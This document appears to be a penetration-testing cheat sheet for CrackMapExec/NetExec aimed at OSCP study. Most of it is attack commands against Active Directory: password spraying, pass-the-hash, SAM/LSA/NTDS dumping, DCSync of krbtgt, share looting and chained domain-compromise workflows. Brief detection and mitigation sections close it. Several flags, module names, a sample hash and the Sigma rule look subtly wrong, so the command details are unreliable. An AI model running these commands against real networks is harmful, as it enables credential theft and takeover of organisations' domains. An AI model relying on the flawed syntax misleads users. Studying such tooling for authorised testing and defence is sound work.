CrackMapExec / NetExec for Lateral Movement
Table of Contents
- What is CrackMapExec / NetExec
- Installation and Setup
- SMB Module
- WMI Module
- WinRM Module
- RDP Module
- LDAP Module
- MSSQL Module
- Pass-the-Hash with CME/NetExec
- Credential Spraying
- BloodHound Integration
- Loot and Local Admin Checking
- Protocol Comparison Table
- Common Workflows and Pipelines
- Detection Strategies
- Mitigation Strategies
- Common Pitfalls and Troubleshooting
- OSCP Exam Tips
What is CrackMapExec / NetExec
CrackMapExec (CME) and its successor NetExec (nxc) are Swiss army knife tools for Active Directory penetration testing. They automate authentication testing, enumeration, and lateral movement across multiple protocols.
Evolution: CME → NetExec
| Feature | CrackMapExec | NetExec |
|---|---|---|
| Status | Legacy (still widely used) | Active development |
| Command | crackmapexec or cme |
netexec or nxc |
| Performance | Good | Improved with async support |
| Modules | Extensive library | Same + new modules |
| Database | SQLite | SQLite (enhanced) |
| Community | Large | Growing rapidly |
Core Capabilities
- Multi-protocol support: SMB, WMI, WinRM, RDP, LDAP, MSSQL, FTP, SSH, WinRPC
- Credential testing: Password, hash, Kerberos, certificate-based authentication
- Enumeration: Users, groups, shares, sessions, policies
- Execution: Remote command execution via WMI, WinRM, SMB
- Lateral movement: Automated pivoting across hosts
- Data exfiltration: Share dumping, SAM extraction, DCSync
- Integration: BloodHound, Mimikatz, secretsdump
Installation and Setup
Installing CrackMapExec
# Python pip installation
pip install crackmapexec
# Git installation (recommended for latest)
git clone https://github.com/byt3bl33d3r/CrackMapExec.git
cd CrackMapExec
pip install .
# Verify installation
crackmapexec --version
cme --help
Installing NetExec
# Python pip installation
pip install netexec
# Git installation
git clone https://github.com/Pennyw0rth/NetExec.git
cd NetExec
pip install .
# Verify installation
netexec --version
nxc --help
Dependencies
# Impacket (required for both)
pip install impacket
# Additional dependencies
pip install termcolor python3-nmap ldap3 pywinauto
Database Management
# Initialize database
cme smb 10.10.10.0/24 --shares
# Clear database
cme db clear all
# Show database info
cme db servers
cme db users
cme db credentials
SMB Module
The SMB module is the most commonly used protocol in CME/NetExec for AD environments.
Authentication Testing
# Test single credential against single host
cme smb 10.10.10.10 -u username -p 'Password123'
# Test against subnet
cme smb 10.10.10.0/24 -u username -p 'Password123'
# Test with list of hosts
cme smb targets.txt -u username -p 'Password123'
# NetExec equivalent
nxc smb 10.10.10.10 -u username -p 'Password123'
User Enumeration
# Enumerate valid users (null session)
cme smb 10.10.10.10 -u '' -p ''
# Enumerate users with empty password
cme smb 10.10.10.10 -u users.txt -p ''
# Brute force user with password list
cme smb 10.10.10.10 -u users.txt -p passwords.txt
# Check if specific user is valid
cme smb 10.10.10.10 -u administrator -p 'anything'
Group Enumeration
# Enumerate domain groups
cme smb 10.10.10.10 -u user -p pass --groups
# Enumerate local groups on target
cme smb 10.10.10.10 -u user -p pass --local-groups
# Check if user is in specific group
cme smb 10.10.10.10 -u user -p pass --gid-info RID
# Enumerate group members
cme smb 10.10.10.10 -u user -p pass --group-members "Domain Admins"
Share Enumeration
# Enumerate SMB shares
cme smb 10.10.10.10 -u user -p pass --shares
# Enumerate shares with access details
cme smb 10.10.10.10 -u user -p pass --shares -M spider_plus
# List share contents
cme smb 10.10.10.10 -u user -p pass --shares --filter-shares
# Download all files from a share
cme smb 10.10.10.10 -u user -p pass -M spider_plus -o SHARE=backup RECURSE=True
Password Policy Enumeration
# Get domain password policy
cme smb 10.10.10.10 -u user -p pass --pass-pol
# Output example:
# [!] Minimum password length: 7
# [!] Password complexity: True
# [!] Lockout threshold: 5
# [!] Lockout observation window: 30 mins
# [!] Lockout duration: 30 mins
# [!] Password history length: 24
# [!] Maximum password age: 30 days
Other SMB Operations
# Check local admin access
cme smb 10.10.10.10 -u user -p pass --local-auth
# Get OS information
cme smb 10.10.10.10 -u user -p pass --os
# Get signing requirements
cme smb 10.10.10.10 -u user -p pass --signing
# Enumerate sessions
cme smb 10.10.10.10 -u user -p pass --sessions
# Get disk information
cme smb 10.10.10.10 -u user -p pass --disks
# Get connected users
cme smb 10.10.10.10 -u user -p pass --users
WMI Module
WMI enables remote command execution through Windows Management Instrumentation.
# Remote command execution via WMI
cme wmi 10.10.10.10 -u user -p pass -x 'whoami'
# Execute PowerShell command
cme wmi 10.10.10.10 -u user -p pass -x 'powershell -enc BASE64CMD'
# Check WMI access
cme wmi 10.10.10.10 -u user -p pass
# Enumerate processes
cme wmi 10.10.10.10 -u user -p pass -x 'Get-Process'
# Get event log entries
cme wmi 10.10.10.10 -u user -p pass -x 'wevtutil qe Security /c:100'
WinRM Module
WinRM enables PowerShell remoting for command execution.
# Test WinRM access
cme winrm 10.10.10.10 -u user -p pass
# Execute command via WinRM
cme winrm 10.10.10.10 -u user -p pass -x 'whoami'
# Interactive shell via WinRM
cme winrm 10.10.10.10 -u user -p pass -X
# PowerShell execution
cme winrm 10.10.10.10 -u user -p pass -x 'powershell Get-Process'
RDP Module
RDP checking verifies Remote Desktop Protocol accessibility.
# Check RDP availability
cme rdp 10.10.10.10 -u user -p pass
# Check RDP across subnet
cme rdp 10.10.10.0/24 -u user -p pass
# Check NLA (Network Level Authentication) status
cme rdp 10.10.10.10 --nla-screenshot
LDAP Module
LDAP enumeration provides deep Active Directory information.
# Basic LDAP enumeration
cme ldap 10.10.10.10 -u user -p pass
# Dump all users
cme ldap 10.10.10.10 -u user -p pass --users
# Dump all groups
cme ldap 10.10.10.10 -u user -p pass --groups
# Dump GPOs
cme ldap 10.10.10.10 -u user -p pass --gpo-data
# Search for specific user
cme ldap 10.10.10.10 -u user -p pass --search-base "DC=corp,DC=local" -M get-desc-users
# Extract password policy
cme ldap 10.10.10.10 -u user -p pass --pass-pol
# Get Kerberoastable users
cme ldap 10.10.10.10 -u user -p pass --kerberoasting kerberoastable.txt
# Get ASPREProastable users
cme ldap 10.10.10.10 -u user -p pass --asreproast asreproastable.txt
# Get users with password not required
cme ldap 10.10.10.10 -u user -p pass --get-nopwd
# Get users with DCSync rights
cme ldap 10.10.10.10 -u user -p pass --dcsync-check
# Extract BloodHound data
cme ldap 10.10.10.10 -u user -p pass -M bloodhound -c All
MSSQL Module
MSSQL module for database access and exploitation.
# Test MSSQL access
cme mssql 10.10.10.10 -u user -p pass
# Execute query
cme mssql 10.10.10.10 -u sa -p pass -q 'SELECT name FROM sys.databases'
# Enable xp_cmdshell and execute commands
cme mssql 10.10.10.10 -u sa -p pass -M mssql_enum
# Get database information
cme mssql 10.10.10.10 -u sa -p pass --enumerate databases
# Check xp_cmdshell availability
cme mssql 10.10.10.10 -u sa -p pass --enum-cmd 'whoami'
Pass-the-Hash with CME/NetExec
Pass-the-hash (PtH) allows authentication using NTLM hashes instead of passwords.
Basic Pass-the-Hash
# SMB with NTLM hash
cme smb 10.10.10.10 -u user -H NTHASH_VALUE
# Full hash (LM:NT)
cme smb 10.10.10.10 -u user -H 'LMHASH:NTHASH'
# WMI with hash
cme wmi 10.10.10.10 -u user -H NTHASH -x 'whoami'
# WinRM with hash (limited support)
cme winrm 10.10.10.10 -u user -H NTHASH
# Against subnet
cme smb 10.10.10.0/24 -u user -H NTHASH
DCSync via secretsdump
# DCSync attack using CME
cme smb 10.10.10.10 -u DCSyncUser -p Password --dcsync
# DCSync specific user
cme smb 10.10.10.10 -u DCSyncUser -p Password --dcsync -u-target Administrator
# DCSync all users
cme smb 10.10.10.10 -u DCSyncUser -p Password --dcsync --print
# DCSync with hash
cme smb 10.10.10.10 -u DCSyncUser -H NTHASH --dcsync
# NetExec equivalent
nxc smb 10.10.10.10 -u DCSyncUser -p Password --dcsync -u-target krbtgt
Local Hash Dumping
# Dump SAM hashes via CME
cme smb 10.10.10.10 -u AdminUser -p Password --sam
# Dump LSA secrets
cme smb 10.10.10.10 -u AdminUser -p Password --lsa
# Dump NTDS.dit
cme smb 10.10.10.10 -u AdminUser -p Password --ntds
# Dump all available credentials
cme smb 10.10.10.10 -u AdminUser -p Password --sam --lsa --ntds
Credential Spraying
Credential spraying tests a single password (or few passwords) against many usernames.
Basic Credential Spraying
# Spray single password against user list
cme smb 10.10.10.10 -u users.txt -p 'Summer2024!'
# Spray with delay (avoid lockout)
cme smb 10.10.10.10 -u users.txt -p 'Summer2024!' --continue-on-success
# Against subnet
cme smb 10.10.10.0/24 -u users.txt -p 'Password123!'
# NetExec with proxy
nxc smb 10.10.10.10 -u users.txt -p 'Password123!' --jitter 05:00
Advanced Credential Spraying
# Multiple passwords
cme smb 10.10.10.10 -u users.txt -p passwords.txt
# With Kerberos authentication
cme smb 10.10.10.10 -u users.txt -p 'Password123!' --kdcHost 10.10.10.10
# Save successful credentials
cme smb 10.10.10.10 -u users.txt -p 'Password123!' --continue-on-success
# Using no-brute mode (one password at a time)
cme smb 10.10.10.10 -u users.txt -p 'Password123!' --no-brute
Safe Credential Spraying Practices
# Check lockout policy first
cme smb 10.10.10.10 -u user -p pass --pass-pol
# Calculate safe spraying parameters
# If lockout threshold = 5, use --jitter to space attempts
cme smb 10.10.10.10 -u users.txt -p 'Password123!' --jitter 02:00
# Use --gfail-limit to stop after global failures
cme smb 10.10.10.10 -u users.txt -p 'Password123!' --gfail-limit 3
BloodHound Integration
CME/NetExec can collect BloodHound data directly.
Data Collection
# Collect BloodHound data via LDAP
cme ldap 10.10.10.10 -u user -p pass -M bloodhound -c All
# Collect specific data types
cme ldap 10.10.10.10 -u user -p pass -M bloodhound -c ACL,Container,Default,Extended,Group,LocalAdmin,Object,Owner,Session,Trust
# Using SharpHound method
cme smb 10.10.10.10 -u user -p pass -M sharphound -c All
# Upload to BloodHound server
cme ldap 10.10.10.10 -u user -p pass -M bloodhound -c All -o BloodHoundIP=10.10.14.1
Workflow: CME → BloodHound → Attack
# Step 1: Collect data
cme ldap DC_IP -u user -p pass -M bloodhound -c All
# Step 2: Upload ZIP to BloodHound GUI
# Step 3: Find shortest path to Domain Admins
# Use BloodHound GUI or Cypher queries
# Step 4: Execute attack path using CME
cme smb TARGET_HOST -u user -p pass --local-auth
cme smb DC_IP -u EscalatedUser -p NewPass --dcsync
Loot and Local Admin Checking
Share Looting
# Enumerate and download from shares
cme smb 10.10.10.10 -u user -p pass --shares
# Spider a share for interesting files
cme smb 10.10.10.10 -u user -p pass -M spider_plus -o SHARE=backup EXT="doc,docx,xls,xlsx,pdf,txt"
# Download specific files
cme smb 10.10.10.10 -u user -p pass -M runspart -o COMMAND="type C:\path\to\file.txt"
Local Admin Checking
# Check if user is local admin
cme smb 10.10.10.10 -u user -p pass --local-auth
# Check across subnet
cme smb 10.10.10.0/24 -u user -p pass --local-auth
# Enumerate local administrators
cme smb 10.10.10.10 -u user -p pass --local-groups
# Check admin access with hash
cme smb 10.10.10.10 -u user -H NTHASH --local-auth
Database Operations
# Store credentials in database
cme db add_credentials -c 'domain/user:password'
# Query stored credentials
cme db credentials
# Export credentials
cme db credz
# Clear database
cme db clear all
Protocol Comparison Table
| Protocol | Port | Auth Methods | Execution | Enumeration | Best For |
|---|---|---|---|---|---|
| SMB | 445 | Password, Hash, Kerberos | Limited (via modules) | Shares, Users, Groups, Sessions | Initial recon, PtH, DCSync |
| WMI | 135, RPC | Password, Hash | Full command execution | Processes, Services, OS info | Command execution when WinRM unavailable |
| WinRM | 5985/5986 | Password, Kerberos | Full PowerShell execution | Limited | PowerShell remoting, interactive shells |
| RDP | 3389 | Password, Kerberos | N/A (GUI only) | NLA status | GUI access verification |
| LDAP | 389/636 | Password, Kerberos, Bind | N/A | Users, Groups, GPOs, SPNs | AD enumeration, Kerberoasting |
| MSSQL | 1433 | SQL Auth, Windows Auth | Via xp_cmdshell | Databases, Tables | Database pivoting |
| WinRPC | 135, RPC | Password, Hash | Full execution | DCOM operations | Advanced execution, Mimikatz deployment |
Common Workflows and Pipelines
Workflow 1: Initial Reconnaissance
# Step 1: Discover live hosts
cme smb 10.10.10.0/24
# Step 2: Enumerate users
cme smb 10.10.10.10 -u '' -p ''
# Step 3: Check password policy
cme smb 10.10.10.10 -u user -p pass --pass-pol
# Step 4: Enumerate shares
cme smb 10.10.10.10 -u user -p pass --shares
# Step 5: Check local admin
cme smb 10.10.10.0/24 -u user -p pass --local-auth
Workflow 2: Credential Spraying → Lateral Movement
# Step 1: Get user list
cme ldap DC_IP -u user -p pass --users > users.txt
# Step 2: Spray credentials
cme smb 10.10.10.0/24 -u users.txt -p 'CommonPass1!' --continue-on-success
# Step 3: Use valid creds for lateral movement
cme smb COMPROMISED_HOST -u ValidUser -p 'CommonPass1!' --local-auth
# Step 4: Dump credentials
cme smb COMPROMISED_HOST -u ValidUser -p 'CommonPass1!' --sam
# Step 5: Use dumped hashes
cme smb 10.10.10.0/24 -u DumpedUser -H NTHASH
Workflow 3: Full Domain Compromise
# Step 1: Initial access
cme smb 10.10.10.10 -u user -p pass
# Step 2: Enumerate AD
cme ldap DC_IP -u user -p pass --users --groups --kerberoasting kerb.txt
# Step 3: Kerberoasting
getnpusers.py domain.local/user:pass > asrep.txt
# Hash the tickets offline
# Step 4: BloodHound collection
cme ldap DC_IP -u user -p pass -M bloodhound -c All
# Step 5: Execute attack path
cme smb TARGET -u user -p pass -x 'whoami'
# Step 6: DCSync for domain dominance
cme smb DC_IP -u DA_User -p DA_Pass --dcsync -u-target krbtgt
Workflow 4: Hash-Based Movement
# Step 1: Obtain hash (from Mimikatz, secretsdump, etc.)
HASH="aad3b435b51404ee:aad3b435b51404ee"
# Step 2: Find where user is local admin
cme smb 10.10.10.0/24 -u user -H $HASH --local-auth
# Step 3: Dump SAM on admin hosts
cme smb ADMIN_HOST -u user -H $HASH --sam
# Step 4: Pass new hashes laterally
cme smb 10.10.10.0/24 -u newuser -H NEW_HASH
# Step 5: DCSync when DA hash obtained
cme smb DC_IP -u DA_user -H DA_HASH --dcsync
Detection Strategies
Event IDs for CME/NetExec Detection
| Event ID | Description | Detection Value |
|---|---|---|
| 4625 | Failed logon | Multiple failures from single source = spraying |
| 4624 | Successful logon | Logon type 3 (network) from unusual source |
| 4771 | Kerberos preauth failure | Multiple failures = Kerberoast/spray attempts |
| 4768 | TGT requested | Unusual service ticket requests |
| 5145 | Share access | Access to sensitive shares (C$, ADMIN$) |
| 4656 | Handle to object opened | SAM/NTDS.dit access attempts |
| 4662 | Object access | DCSync-related AD object access |
| Sysmon 1 | Process creation | Unexpected WMI/WinRM execution |
| Sysmon 3 | Network connection | Connections on 445, 135, 5985 from attacker |
| Sysmon 22 | DNS query | Unusual internal DNS enumeration |
Sigma Rules
# Credential Spraying Detection
title: SMB Credential Spraying
id: cme-spray-001
status: experimental
logsource:
category: sysmon_event_log
product: windows
detection:
selection:
EventID: 4625
Status: '0xC000006D'
aggregation:
field: SourceIpAddress
count: > 10
group_by: SourceIpAddress
timeframe: 5m
condition: selection and aggregation
level: high
Mitigation Strategies
- Network Segmentation: Restrict SMB (445), RPC (135), and WinRM (5985) access
- Account Lockout Policy: Implement reasonable lockout thresholds
- LAPS: Use Local Administrator Password Solution to randomize local admin passwords
- Restricted Admin Mode: Enable for RDP to prevent PtH via RDP
- Credential Guard: Prevent credential theft at the OS level
- SMB Signing: Require SMB signing to prevent relay attacks
- Monitor Failed Logons: Alert on high-volume 4625 events from single source
Common Pitfalls and Troubleshooting
| Issue | Cause | Solution |
|---|---|---|
| Connection timed out | Firewall blocking port | Try different protocol (WMI if SMB blocked) |
| STATUS_LOGON_FAILURE | Wrong credentials | Verify username format (DOMAIN\user vs user@domain) |
| Signing required | SMB signing enforced | Use -k for Kerberos or provide correct credentials |
| DCERPC fault | WMI service issue | Try WinRM instead; check RPC endpoints |
| Module not found | Module not installed | Check module path; update CME |
| Database locked | Concurrent access | Close other CME instances; use cme db clear |
| Kerberos error | Time sync issue | Sync time with DC: timedatectl set-ntp true |
OSCP Exam Tips
- CME is your best friend for enumeration — Use it to quickly map the network and find valid credentials
- Always check
--sharesfirst — Shares often contain credentials, configs, and useful files - Use
--local-authto find admin hosts — This quickly identifies where you have local admin access --pass-polbefore spraying — Know the lockout policy before credential spraying- DCSync is your endgame — When you have DA credentials or DCSync rights, use
--dcsyncto get all hashes - Combine with Impacket — CME for recon, Impacket for execution
- Save credentials to database — Use
cme dbto track findings during the exam - Protocol fallback strategy:
- SMB (445) blocked? → Try WMI (135)
- WMI blocked? → Try WinRM (5985)
- All blocked? → Try LDAP (389) for enumeration
- The
--continue-on-successflag is critical — It ensures CME keeps testing even after finding valid creds - Remember: CME is for enumeration and testing — For actual command execution, you may still need PsExec, WinRM, or Impacket